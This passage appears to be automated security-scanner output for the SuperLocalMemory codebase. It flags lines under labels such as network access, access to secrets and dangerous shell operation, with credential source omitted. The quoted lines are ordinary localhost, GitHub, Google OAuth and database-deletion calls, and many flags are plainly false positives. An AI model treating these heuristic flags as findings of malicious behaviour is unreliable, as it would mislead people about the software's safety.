) with urllib.request.urlopen(req, timeout=2): # noqa: S310 return True - Network accessline 62
with urllib.request.urlopen(req, timeout=2): # noqa: S310 - Network accessline 73
with urllib.request.urlopen("http://127.0.0.1:11434/api/tags", timeout=2) as response: - Access to secretsline 95
[Credential-related source omitted] - Access to secretsline 97
[Credential-related source omitted] - Access to secretsline 170
[Credential-related source omitted]
src/superlocalmemory/evolution/triggers.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/evolution/types.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/evolution/windows_backup_files.py
- Executable scriptline 1
Executable file
src/superlocalmemory/evolution/workspace_artifacts.py
- Executable scriptline 1
Executable file
src/superlocalmemory/graph/__init__.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/graph/cozo_adjacency.py
- Executable scriptline 1
Executable file
src/superlocalmemory/graph/cozo_backend.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Dangerous shell operationline 245
:rm edge_rev {to_id, from_id, edge_type} - Dangerous shell operationline 251
:rm edge {from_id, to_id, edge_type => weight, metadata, profile_id, created_at} - Dangerous shell operationline 256
:rm edge_rev {to_id, from_id, edge_type} - Dangerous shell operationline 262
:rm edge {from_id, to_id, edge_type => weight, metadata, profile_id, created_at} - Dangerous shell operationline 360
# Cozo :rm needs every non-key column in the output relation. Binding - Dangerous shell operationline 367
:rm fact_entity {fact_id, entity_id => profile_id} - Dangerous shell operationline 387
:rm fact_entity {fact_id, entity_id => profile_id} - Dangerous shell operationline 396
:rm entity {id => name, entity_type, tier, properties, profile_id, - Dangerous shell operationline 410
:rm fact_entity {fact_id, entity_id => profile_id} - Dangerous shell operationline 416
:rm edge_rev {to_id, from_id, edge_type} - Dangerous shell operationline 422
:rm edge {from_id, to_id, edge_type => weight, metadata, profile_id, created_at} - Dangerous shell operationline 430
:rm entity {id => name, entity_type, tier, properties, profile_id, - Dangerous shell operationline 455
:rm fact_entity {fact_id, entity_id => profile_id}
src/superlocalmemory/hooks/__init__.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/hooks/_outcome_common.py
- Executable scriptline 1
Executable file
src/superlocalmemory/hooks/adapter_base.py
- Executable scriptline 1
Executable file
src/superlocalmemory/hooks/antigravity_adapter.py
src/superlocalmemory/hooks/auto_capture.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/hooks/auto_invoker.py
src/superlocalmemory/hooks/auto_parameterize.py
- Executable scriptline 1
Executable file
src/superlocalmemory/hooks/auto_recall.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/hooks/auto_recall_hook.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/hooks/before_web_hook.py
- Executable scriptline 1
Executable file
src/superlocalmemory/hooks/claude_code_hooks.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Dangerous shell operationline 157
f"{command}; rm -f {shlex.quote(marker)} "
src/superlocalmemory/hooks/codex_assets.py
- Executable scriptline 1
Executable file
src/superlocalmemory/hooks/codex_handlers.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Access to secretsline 61
[Credential-related source omitted] - Access to secretsline 66
[Credential-related source omitted] - Access to secretsline 85
[Credential-related source omitted]
src/superlocalmemory/hooks/codex_hooks.py
- Executable scriptline 1
Executable file
src/superlocalmemory/hooks/context_payload.py
- Executable scriptline 1
Executable file
src/superlocalmemory/hooks/copilot_adapter.py
src/superlocalmemory/hooks/cross_platform_connector.py
- Executable scriptline 1
Executable file
src/superlocalmemory/hooks/cursor_adapter.py
src/superlocalmemory/hooks/event_delivery.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Access to secretsline 144
[Credential-related source omitted]
src/superlocalmemory/hooks/event_spool.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Access to secretsline 82
[Credential-related source omitted]
src/superlocalmemory/hooks/hook_daemon.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Network accessline 178
self._server_sock = socket.socket(_AF_UNIX, socket.SOCK_STREAM) - Network accessline 353
try: client = socket.socket(_AF_UNIX, socket.SOCK_STREAM) - Network accessline 354
client = socket.socket(_AF_UNIX, socket.SOCK_STREAM) - Network accessline 416
if bound is not None and bound.exists(): try: test = socket.socket(_AF_UNIX, socket.SOCK_STREAM) - Network accessline 417
try: test = socket.socket(_AF_UNIX, socket.SOCK_STREAM) test.settimeout(1.0) - Network accessline 418
test = socket.socket(_AF_UNIX, socket.SOCK_STREAM)
src/superlocalmemory/hooks/hook_deadline.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Access to secretsline 72
[Credential-related source omitted]
src/superlocalmemory/hooks/hook_handlers.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Network accessline 104
except Exception: pass return f"http://127.0.0.1:{port}" - Network accessline 106
return f"http://127.0.0.1:{port}" - Access to secretsline 264
[Credential-related source omitted] - Access to secretsline 355
[Credential-related source omitted] - Access to secretsline 529
[Credential-related source omitted] - Access to secretsline 589
[Credential-related source omitted] - Access to secretsline 613
[Credential-related source omitted]
src/superlocalmemory/hooks/ide_connector.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Network accessline 79
- On session start, load project context from SuperLocalMemory - Available tools: remember, recall, search, fetch, get_status, set_mode, health - Documentation: https://superlocalmemory.com - Network accessline 80
- Available tools: remember, recall, search, fetch, get_status, set_mode, health - Documentation: https://superlocalmemory.com {marker_end} - Network accessline 81
- Documentation: https://superlocalmemory.com - Network accessline 220
base_url = f"http://127.0.0.1:{daemon_port}/mcp/"
src/superlocalmemory/hooks/memory_protocol.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/hooks/payload_keys.py
- Executable scriptline 1
Executable file
src/superlocalmemory/hooks/portable_install.py
- Executable scriptline 1
Executable file - Network accessline 143
if transport != "stdio" and not dry_run and not kit._check_daemon_health(port): print( f"[SLM] Warning: owned daemon not ready at http://127.0.0.1:{port}/health. " - Network accessline 144
print( f"[SLM] Warning: owned daemon not ready at http://127.0.0.1:{port}/health. " "Run `slm serve start` or check the configured port.", - Network accessline 145
f"[SLM] Warning: owned daemon not ready at http://127.0.0.1:{port}/health. "
src/superlocalmemory/hooks/portable_kit.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com - Access to secretsline 87
[Credential-related source omitted] - Network accessline 126
# https://www.antigravity.google/docs/mcp/ (opened 2026-10-11) - Network accessline 149
# https://geminicli.com/docs/tools/mcp-server/ - Network accessline 161
# https://code.visualstudio.com/docs/agent-customization/mcp-servers - Network accessline 195
# https://opencode.ai/docs/mcp-servers/ and https://opencode.ai/docs/config/ - Network accessline 207
# https://qwenlm.github.io/qwen-code-docs (settings.md, opened 2026-10-16) - Network accessline 243
# https://kiro.dev/docs/mcp/configuration/ (opened 2026-10-16) - Network accessline 343
# --- YAML IDEs --- # https://docs.continue.dev/reference (mcpServers, opened 2026-10-11) - Network accessline 344
# https://docs.continue.dev/reference (mcpServers, opened 2026-10-11) - Network accessline 352
# https://hermes-agent.nousresearch.com/docs/user-guide/features/plugins/ - Network accessline 354
ide_id="hermes", display="Hermes (native plugin)", mcp_path_global="", mcp_path_project=None, server_key="", fmt="", agents_md_path=None, caveats="hermes plugins install 'https://github.com/qualixar/superlocalmemory.git#herm - Network accessline 355
mcp_path_global="", mcp_path_project=None, server_key="", fmt="", agents_md_path=None, caveats="hermes plugins install 'https://github.com/qualixar/superlocalmemory.git#hermes-plugin'", ), - Network accessline 356
caveats="hermes plugins install 'https://github.com/qualixar/superlocalmemory.git#hermes-plugin'", - Network accessline 490
# https://docs.continue.dev/reference - Network accessline 545
url = f"http://127.0.0.1:{daemon_port}/mcp/" - Network accessline 549
# https://raw.githubusercontent.com/continuedev/continue/main/packages/config-yaml/src/schemas/mcp/index.ts - Network accessline 603
url = f"http://127.0.0.1:{daemon_port}/health" req = urllib.request.Request(url, method="GET") - Network accessline 604
req = urllib.request.Request(url, method="GET") - Network accessline 605
with urllib.request.urlopen(req, timeout=timeout) as resp:
src/superlocalmemory/hooks/post_tool_async_hook.py
- Executable scriptline 1
Executable file - Network accessline 46
except Exception: pass return f"http://127.0.0.1:{port}" - Network accessline 48
return f"http://127.0.0.1:{port}" - Access to secretsline 60
[Credential-related source omitted] - Access to secretsline 79
[Credential-related source omitted] - Network accessline 134
try: data = json.dumps(body).encode("utf-8") req = urllib.request.Request( - Network accessline 135
data = json.dumps(body).encode("utf-8") req = urllib.request.Request( f"{DAEMON_URL}{PREWARM_PATH}", - Network accessline 136
req = urllib.request.Request(
src/superlocalmemory/hooks/post_tool_outcome_hook.py
- Executable scriptline 1
Executable file
src/superlocalmemory/hooks/prewarm_auth.py
- Executable scriptline 1
Executable file
src/superlocalmemory/hooks/rules_engine.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/hooks/session_registry.py
- Executable scriptline 1
Executable file
src/superlocalmemory/hooks/stop_outcome_hook.py
- Executable scriptline 1
Executable file
src/superlocalmemory/hooks/sync_loop.py
src/superlocalmemory/hooks/topic_shift_hook.py
src/superlocalmemory/hooks/user_prompt_hook.py
- Executable scriptline 1
Executable file
src/superlocalmemory/hooks/user_prompt_rehash_hook.py
- Executable scriptline 1
Executable file
src/superlocalmemory/hooks/verify_mcp.py
- Executable scriptline 1
Executable file - Network accessline 10
# Official SDK API opened 2026-10-11: # https://raw.githubusercontent.com/modelcontextprotocol/python-sdk/main/src/mcp/client/streamable_http.py - Network accessline 11
# https://raw.githubusercontent.com/modelcontextprotocol/python-sdk/main/src/mcp/client/streamable_http.py - Network accessline 25
url = f"http://127.0.0.1:{port}/mcp/"
src/superlocalmemory/infra/__init__.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/infra/auth_middleware.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 2
# Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com """API-key primitives used by the unified identity boundary. - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Access to secretsline 28
[Credential-related source omitted] - Access to secretsline 31
[Credential-related source omitted] - Access to secretsline 61
[Credential-related source omitted] - Access to secretsline 90
[Credential-related source omitted] - Access to secretsline 93
[Credential-related source omitted] - Access to secretsline 119
[Credential-related source omitted] - Access to secretsline 121
[Credential-related source omitted] - Access to secretsline 148
[Credential-related source omitted]
src/superlocalmemory/infra/backup.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 2
# Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com """Automated backup manager for SuperLocalMemory V3. - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/infra/backup_archive.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/infra/backup_credentials.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/infra/backup_crypto.py
- Executable scriptline 1
Executable file
src/superlocalmemory/infra/backup_keys.py
src/superlocalmemory/infra/backup_media.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/infra/backup_obligations.py
src/superlocalmemory/infra/cloud_backup.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Access to secretsline 11
[Credential-related source omitted] - Access to secretsline 51
[Credential-related source omitted] - Access to secretsline 59
[Credential-related source omitted] - Access to secretsline 65
[Credential-related source omitted] - Access to secretsline 70
[Credential-related source omitted] - Access to secretsline 124
[Credential-related source omitted] - Access to secretsline 129
[Credential-related source omitted] - Access to secretsline 132
[Credential-related source omitted] - Access to secretsline 159
[Credential-related source omitted] - Access to secretsline 160
[Credential-related source omitted] - Access to secretsline 163
[Credential-related source omitted] - Access to secretsline 192
[Credential-related source omitted] - Access to secretsline 197
[Credential-related source omitted] - Network accessline 343
[Credential-related source omitted] - Network accessline 344
[Credential-related source omitted] - Access to secretsline 344
[Credential-related source omitted] - Network accessline 345
"auth_uri": "https://accounts.google.com/o/oauth2/auth", - Network accessline 346
"token_uri": "https://oauth2.googleapis.com/token", - Network accessline 347
"redirect_uris": ["http://localhost"], - Network accessline 357
scopes=[ "openid", "https://www.googleapis.com/auth/drive.file", - Network accessline 358
"openid", "https://www.googleapis.com/auth/drive.file", "https://www.googleapis.com/auth/userinfo.email", - Network accessline 359
"https://www.googleapis.com/auth/drive.file", - Network accessline 360
"https://www.googleapis.com/auth/userinfo.email", - Access to secretsline 367
[Credential-related source omitted] - Access to secretsline 370
[Credential-related source omitted] - Access to secretsline 403
[Credential-related source omitted] - Access to secretsline 405
[Credential-related source omitted] - Network accessline 409
[Credential-related source omitted] - Access to secretsline 409
[Credential-related source omitted] - Network accessline 410
[Credential-related source omitted] - Network accessline 411
token_uri="https://oauth2.googleapis.com/token", - Access to secretsline 413
[Credential-related source omitted] - Network accessline 515
resp = httpx.get("https://api.github.com/user", headers=headers, timeout=15) - Network accessline 523
resp = httpx.get(f"https://api.github.com/repos/{full_repo}", headers=headers, timeout=15) - Network accessline 524
repo_created = False if resp.status_code == 404: resp = httpx.post( - Network accessline 525
if resp.status_code == 404: resp = httpx.post( "https://api.github.com/user/repos", - Network accessline 526
resp = httpx.post( - Network accessline 527
"https://api.github.com/user/repos", - Network accessline 542
if not repo_created: commits_resp = httpx.get( - Network accessline 543
commits_resp = httpx.get( - Network accessline 544
f"https://api.github.com/repos/{full_repo}/commits", - Network accessline 553
b"# SLM Backup\nAutomated SuperLocalMemory backup.\nEach release = one backup snapshot.\n" ).decode() httpx.put( - Network accessline 554
).decode() httpx.put( f"https://api.github.com/repos/{full_repo}/contents/README.md", - Network accessline 555
httpx.put( - Network accessline 556
f"https://api.github.com/repos/{full_repo}/contents/README.md", - Access to secretsline 562
[Credential-related source omitted] - Access to secretsline 610
[Credential-related source omitted] - Network accessline 635
release_resp = httpx.post( - Network accessline 636
f"https://api.github.com/repos/{full_repo}/releases", - Network accessline 658
with encrypted_upload_copy(backup_path, key) as enc_path, \ open(enc_path, "rb") as f: upload_resp = httpx.post( - Network accessline 659
open(enc_path, "rb") as f: upload_resp = httpx.post( upload_url, - Network accessline 660
upload_resp = httpx.post(
src/superlocalmemory/infra/cloud_backup_crypto.py
- Executable scriptline 1
Executable file
src/superlocalmemory/infra/cloud_backup_github.py
- Executable scriptline 1
Executable file - Network accessline 28
try: resp = httpx.get( - Network accessline 29
resp = httpx.get( - Network accessline 30
f"https://api.github.com/repos/{full_repo}/releases", - Network accessline 51
httpx.delete( - Network accessline 52
f"https://api.github.com/repos/{full_repo}/releases/{release_id}", - Network accessline 57
httpx.delete( - Network accessline 58
f"https://api.github.com/repos/{full_repo}/git/refs/tags/{tag}",
src/superlocalmemory/infra/daemon_identity.py
- Executable scriptline 1
Executable file
src/superlocalmemory/infra/data_root.py
src/superlocalmemory/infra/erased_subjects.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/infra/event_bus.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 2
# Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com """EventBus -- Real-time event broadcasting for memory operations. - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/infra/instance_lock.py
- Executable scriptline 1
Executable file
src/superlocalmemory/infra/local_diagnostics.py
- Executable scriptline 1
Executable file
src/superlocalmemory/infra/mcp_legacy.py
- Executable scriptline 1
Executable file
src/superlocalmemory/infra/mcp_processes.py
src/superlocalmemory/infra/mcp_registry_files.py
- Executable scriptline 1
Executable file
src/superlocalmemory/infra/owner_only_acl.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/infra/pid_manager.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/infra/private_files.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/infra/proc_memory.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/infra/process_identity.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/infra/process_reaper.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/infra/rate_limiter.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 2
# Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com """Sliding-window rate limiter for per-agent request throttling. - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Access to secretsline 26
[Credential-related source omitted] - Access to secretsline 27
[Credential-related source omitted] - Access to secretsline 28
[Credential-related source omitted]
src/superlocalmemory/infra/self_heal.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Network accessline 220
time.sleep(delay) try: s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) - Network accessline 221
try: s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) s.settimeout(0.3) - Network accessline 222
s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
src/superlocalmemory/infra/service_files.py
- Executable scriptline 1
Executable file
src/superlocalmemory/infra/service_mutation.py
- Executable scriptline 1
Executable file
src/superlocalmemory/infra/sqlite_scrub.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/infra/version_integrity.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/ingestion/__init__.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/ingestion/adapter_config.py
- Executable scriptline 1
Executable file
src/superlocalmemory/ingestion/adapter_manager.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Access to secretsline 208
[Credential-related source omitted]
src/superlocalmemory/ingestion/base_adapter.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Network accessline 55
def __init__(self, config: AdapterConfig | None = None): self.config = config or AdapterConfig() self.daemon_url = f"http://127.0.0.1:{self.config.daemon_port}" - Network accessline 56
self.config = config or AdapterConfig() self.daemon_url = f"http://127.0.0.1:{self.config.daemon_port}" self._items_this_hour = 0 - Network accessline 57
self.daemon_url = f"http://127.0.0.1:{self.config.daemon_port}"
src/superlocalmemory/ingestion/calendar_adapter.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Access to secretsline 246
[Credential-related source omitted] - Access to secretsline 248
[Credential-related source omitted] - Network accessline 255
[Credential-related source omitted] - Network accessline 256
[Credential-related source omitted] - Access to secretsline 256
[Credential-related source omitted] - Network accessline 257
token_uri="https://oauth2.googleapis.com/token",
src/superlocalmemory/ingestion/credentials.py
- Network accessline 1
